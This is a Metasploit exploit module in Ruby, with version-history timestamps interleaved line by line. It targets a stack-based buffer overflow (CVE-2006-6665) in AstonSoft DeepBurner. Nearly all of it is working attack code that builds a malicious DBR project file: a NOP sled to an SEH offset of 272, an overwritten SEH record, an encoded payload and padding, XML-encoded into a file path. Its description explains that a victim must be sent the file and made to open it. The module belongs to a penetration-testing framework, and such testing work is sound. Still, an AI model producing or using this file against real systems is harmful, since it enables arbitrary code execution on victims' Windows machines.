2010-02-03 06:09:31 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2010-02-03 06:09:31 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf :: Exploit :: Remote
2010-02-03 06:09:31 +00:00
Rank = GreatRanking
include Msf :: Exploit :: FILEFORMAT
include Msf :: Exploit :: Remote :: Seh
def initialize ( info = { } )
super ( update_info ( info ,
'Name' = > 'AstonSoft DeepBurner (DBR File) Path Buffer Overflow' ,
'Description' = > %q{
2010-04-30 08:40:19 +00:00
This module exploits a stack-based buffer overflow in versions 1.9.0.228,
2010-02-03 06:09:31 +00:00
1.8.0, and possibly other versions of AstonSoft's DeepBurner (Pro, Lite, etc).
An attacker must send the file to victim and the victim must open the file.
Alternatively it may be possible to execute code remotely via an embedded
2017-09-13 22:03:34 -04:00
DBR file within a browser, since the DBR extension is registered to DeepBurner.
2010-02-03 06:09:31 +00:00
} ,
'License' = > MSF_LICENSE ,
'Author' = >
[
'Expanders' , # original discovery (2006)
'fl0 fl0w' , # re-discovered 2009/2010
'jduck' # metasploit version
] ,
'References' = >
[
[ 'BID' , '21657' ] ,
2016-07-15 12:00:31 -05:00
[ 'OSVDB' , '32356' ] ,
2010-02-03 06:09:31 +00:00
[ 'CVE' , '2006-6665' ] ,
2012-06-28 14:27:12 -05:00
[ 'EDB' , '2950' ] ,
[ 'EDB' , '8335' ] ,
[ 'EDB' , '11315' ]
2010-02-03 06:09:31 +00:00
] ,
'Payload' = >
{
'Space' = > 512 ,
'BadChars' = > " \x00 " ,
'StackAdjustment' = > - 3500 ,
'DisableNops' = > true
} ,
'Platform' = > 'win' ,
'Targets' = >
[
[ 'Windows Universal' , { 'Ret' = > 0x101021f8 } ] , # p/p/r - basswma.dll v2.2.0.3 (seems to be packed)
] ,
'Privileged' = > false ,
2020-10-02 17:38:06 +01:00
'DisclosureDate' = > '2006-12-19' ,
2010-02-03 06:09:31 +00:00
'DefaultTarget' = > 0 ) )
register_options (
[
OptString . new ( 'FILENAME' , [ true , 'The file name.' , 'msf.dbr' ] ) ,
2017-05-03 15:42:21 -05:00
] )
2010-02-03 06:09:31 +00:00
end
def exploit
2011-10-23 11:56:13 +00:00
template = <<-EOS
2010-09-20 08:06:27 +00:00
< DeepBurner_record ver = " 1.9.0.228 " type = " data " >
2010-04-30 08:40:19 +00:00
< data_cd ver = " 1 " device = " " session2import = " 0 " finalize_disc = " 0 " finalize_track = " 1 " bootable = " 0 " boot_image_path = " " >
2010-09-20 08:06:27 +00:00
< dir name = " CDRoot " imp = " 0 " >
< file name = " map_fear_drives.bat " path = " REPLACE_ME " imp = " 0 " / >
< / dir >
2010-04-30 08:40:19 +00:00
< / data_cd>
<cd_label ver="1" zoom="0" view="label" layout="standart">
2010-09-20 08:06:27 +00:00
<label / >
< front / >
<back / >
2010-04-30 08:40:19 +00:00
< / cd_label>
<autorun ver="1" use="0">
2010-09-20 08:06:27 +00:00
<main name="MainForm" image_path="" hint="" / >
< title name = " Title " text = " Title " hint = " Title box " left = " 144 " top = " 48 " width = " 57 " height = " 33 " fontname = " Times New Roman " fontsize = " 20 " fontcolor = " 255 " visible = " 1 " fontstyle = " 0 " / >
<comment name="Comments" text="Comment" hint="Comment box" left="40" top="76" width="89" height="29" fontname="Times New Roman" fontsize="15" fontcolor="255" visible="1" fontstyle="0" / >
< exitbutton name = " ButtonExit " image_path = " " image_down_path = " " text = " Exit " hint = " Exit this program " left = " 120 " top = " 96 " width = " 75 " height = " 25 " fontname = " MS Sans Serif " fontsize = " 8 " fontcolor = " 255 " visible = " 1 " fontstyle = " 0 " / >
2010-04-30 08:40:19 +00:00
< / autorun >
2010-02-03 06:09:31 +00:00
< / DeepBurner_record>
2011-10-23 11:56:13 +00:00
EOS
2010-02-03 06:09:31 +00:00
seh_offset = 272
path = make_nops(seh_offset)
path << generate_seh_record(target.ret)
path << payload.encoded
path << rand_text_alphanumeric(1000) * 20
path = xml_encode(path)
sploit = template.gsub( / REPLACE_ME / , path )
print_status ( " Creating ' #{ datastore [ 'FILENAME' ] } ' file ... " )
file_create ( sploit )
end
2010-04-30 08:40:19 +00:00
def xml_encode ( str )
2010-02-03 06:09:31 +00:00
ret = " "
str . unpack ( 'C*' ) . each { | ch |
case ch
when 0x41 .. 0x5a , 0x61 .. 0x7a , 0x30 .. 0x39
ret << ch . chr
else
ret << " & # x "
ret << ch . chr . unpack ( 'H*' ) [ 0 ]
ret << " ; "
end
}
ret
end
end